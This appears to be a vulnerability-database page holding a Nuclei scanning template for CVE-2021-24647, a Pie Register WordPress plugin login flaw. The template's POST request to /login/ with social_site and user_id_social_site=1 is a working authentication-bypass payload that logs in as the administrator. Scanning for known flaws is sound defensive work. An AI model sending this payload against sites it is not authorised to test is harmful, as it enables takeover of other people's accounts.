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Pie Register < 3.7.1.6 - Unauthenticated Arbitrary Login

ID: CVE-2021-24647

Severity: high

Author: DhiyaneshDK

Tags: cve,cve2021,unauth,pie-register,wpscan,wp-plugin,wordpress,wp,genetechsolutions

Description

Section titled “Description”

The Registration Forms User profile, Content Restriction, Spam Protection, Payment Gateways, Invitation Codes WordPress plugin before 3.1.7.6 has a flaw in the social login implementation, allowing unauthenticated attacker to login as any user on the site by only knowing their user ID or username

YAML Source

Section titled “YAML Source”
id: CVE-2021-24647


info:
  name: Pie Register < 3.7.1.6 - Unauthenticated Arbitrary Login
  author: DhiyaneshDK
  severity: high
  description: |
    The Registration Forms  User profile, Content Restriction, Spam Protection, Payment Gateways, Invitation Codes WordPress plugin before 3.1.7.6 has a flaw in the social login implementation, allowing unauthenticated attacker to login as any user on the site by only knowing their user ID or username
  impact: |
    An attacker can gain unauthorized access to the WordPress site and potentially compromise sensitive information.
  remediation: Fixed in version 3.7.1.6
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24647
    - https://github.com/RandomRobbieBF/CVE-2021-24647
    - https://wpscan.com/vulnerability/40d347b1-b86e-477d-b4c6-da105935ce37
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2021-24647
    cwe-id: CWE-287
    epss-score: 0.20385
    epss-percentile: 0.96356
    cpe: cpe:2.3:a:genetechsolutions:pie_register:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: "true"
    max-request: 3
    vendor: genetechsolutions
    product: pie_register
    framework: wordpress
  tags: cve,cve2021,unauth,pie-register,wpscan,wp-plugin,wordpress,wp,genetechsolutions


http:
  - raw:
      - |
        GET /wp-content/plugins/pie-register/readme.txt HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /login/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        log={{randstr}}&pwd={{randstr}}&social_site=true&user_id_social_site=1&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/profile.php HTTP/2
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(body_1, "pieregister")'
          - 'contains(body_3, "Username") && contains(body_3, "email-description")'
        condition: and
# digest: 490a0046304402203f1e002a595a5208615d507f93376a8d46d5bfce5a69d1f8859a15d19ef247f2022064c6e8fa0ffa9ffd6afbc7278ead9f0e24e0cd5ab432294f2537962a79c063e6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24647.yaml"

View on Github